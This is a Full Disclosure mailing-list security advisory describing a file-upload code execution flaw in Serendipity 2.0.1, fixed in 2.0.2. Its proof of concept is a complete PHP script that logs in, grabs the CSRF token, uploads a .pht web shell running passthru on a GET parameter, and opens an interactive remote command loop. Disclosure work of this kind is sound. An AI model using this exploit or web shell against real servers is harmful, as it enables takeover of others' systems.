Full Disclosure mailing list archives

Serendipity 2.0.1 - Code Execution


From: "Curesec Research Team (CRT)" <crt () curesec com>
Date: Tue, 1 Sep 2015 13:41:44 +0200

Serendipity 2.0.1: Code Execution
Security Advisory – Curesec Research Team

1. Introduction

Affected Product:       Serendipity 2.0.1       
Fixed in:               2.0.2
Fixed Version Link:
https://github.com/s9y/Serendipity/releases/download/2.0.2/serendipity-2.0.2.zip

Vendor Contact:         serendipity () supergarv de     
Vulnerability Type:     Code Execution  
Remote Exploitable:     Yes     
Reported to vendor:     07/21/2015      
Disclosed to public:    09/01/2015      
Release mode:           Coordinated release     
CVE:    n/a     
Credits         Tim Coen of Curesec GmbH        

2. Vulnerability Description
Serendipity 2.0.1 does not allow the upload of .php, .php4, .php5,
.phtml files, or files starting with a dot - eg .htaccess files.

However, files with extension .pht can be uploaded by registered users,
and will be executed by most default Apache configurations.

The file upload is located here:
http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect

User registration either requires an admin to create the user, or the
plugin serendipity_plugin_adduser being activated. The default setting
for this plugin does not require an admin to accept the registration of
that user.

3. Proof of Concept


#!/usr/local/bin/php
<?php
if (count($argv) != 8 && count($argv) != 7) {
    help($argv);
    exit;
}
$cookieJar = tempnam('/tmp', 'cookie');
$user    = $argv[1];
$pass    = $argv[2];
$rootURL = $argv[3];
$loginURL = $argv[3] . '/' . $argv[4];
$uploadFormURL = $rootURL . '/' . $argv[5];
$shellFileName = $argv[6];

if (count($argv) == 7) {
    $shellURL      = $rootURL . '/uploads/' . basename($shellFileName);
} else {
    $shellURL      = $rootURL . '/' . $argv[7];
}

// login
echo "logging in as $user\n";
if (!login($loginURL, array(
            "serendipity[user]" => $user,
            "serendipity[pass]" => $pass,
            "submit"            => "Login"))) {
    echo "could not log in\n";
    exit;
}
echo "login done\n";

// csrf token
echo "getting anti CSRF token\n";
$nonce = getCSRFToken($uploadFormURL, $cookieJar);
echo "token: $nonce\n";

// uploading
echo "uploading $shellFileName to $shellURL\n";
$file = upload($uploadFormURL, $shellFileName,
"serendipity[userfile][1]", array(
    "serendipity[token]"              => $nonce,
    "serendipity[action]"             => "admin",
    "serendipity[adminModule]"        => "media",
    "serendipity[adminAction]"        => "add",
    "serendipity[column_count][1]"    => "true",
    "serendipity[all_authors]"        => "true",
    "serendipity[imageimporttype]"    => "image",
    "serendipity[target_filename][]"  => "",
    "serendipity[target_directory][]" => ""), $cookieJar);
if ($file == false) {
    echo "could not upload (possibly wrong extension? Only .pht is
allowed)\n";
    exit;
}
echo "upload done\n";

// executing
echo "starting execution\n";
execute($shellURL, 'exec');

function help($argv) {
    echo "usage: php " . $argv[0] . " [user] [pass] [root url] [login
path] [upload form path] [local shell file (pht), should contain <?php
passthru(\$_GET['exec']);] [shell path (optional, in case upload path is
non-standard)]\n
example: php " . $argv[0] . " admin admin http://localhost/serendipity
serendipity_admin.php
serendipity_admin.php?serendipity[adminModule]=media ./404.pht\n";
}

function upload($URL, $fileName, $fileFieldName, $additionalPost,
$cookieJar) {
    $fileNameAbsolute = realpath($fileName);
    $post             = array($fileFieldName => '@' . $fileNameAbsolute);
    $post             = array_merge($post, $additionalPost);
    $ch               = curl_init();
    curl_setopt($ch, CURLOPT_URL, $URL);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
    $result           = curl_exec($ch);

    $success = strpos($result, "successfully uploaded as") !== false;
    $tmp = preg_match("/successfully uploaded as (.*?)<\/span>/s",
$result, $matches);
    curl_close($ch);
    return $success ? $matches[1] : false;
}

function get($URL, $cookieJar = null) {
    $ch     = curl_init();
    curl_setopt($ch, CURLOPT_URL, $URL);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

function login($URL, $post) {
    global $cookieJar;

    $ch      = curl_init();
    curl_setopt($ch, CURLOPT_URL, $URL);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
    $content = curl_exec($ch);
    $success = strpos($content, "Logged in as") !== false;
    curl_close($ch);
    return $success;
}

function getCSRFToken($URL, $cookieJar) {
    $content = get($URL, $cookieJar);
    $tmp     = preg_match("/input type=\"hidden\"
name=\"serendipity\[token\]\" value=\"(.*?)\" \//s", $content, $matches);
    return $matches[1];
}

function execute($shellURL, $argsName) {
    while (true) {
        $line = readline("$: ");
        if ($line == "quit" || $line == "exit") {
            exit;
        }
        echo get($shellURL . "?" . $argsName . "=" . urlencode($line));
    }
}

4. Code


        The relevant function checking file extensions:
        /include/functions_images.inc.php:16

        function serendipity_isActiveFile($file) {
            if (preg_match('@^\.@', $file)) {
                return true;
            }

            $core =
preg_match('@\.(php.*|[psj]html?|aspx?|cgi|jsp|py|pl)$@i', $file);
            if ($core) {
                return true;
            }

            $eventData = false;
            serendipity_plugin_api::hook_event('backend_media_check',
$eventData, $file);
            return $eventData;
        }

5. Solution
To mitigate this issue please upgrade at least to version 2.0.2:

https://github.com/s9y/Serendipity/releases/download/2.0.2/serendipity-2.0.2.zip

Please note that a newer version might already be available.

5. Report Timeline

07/21/2015      Informed Vendor about Issue
07/24/2015      Vendor releases Version 2.0.2
09/01/2015      Disclosed to public

6. Blog Reference:
http://blog.curesec.com/article/blog/Serendipity-201-Code-Execution-48.html

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Current thread: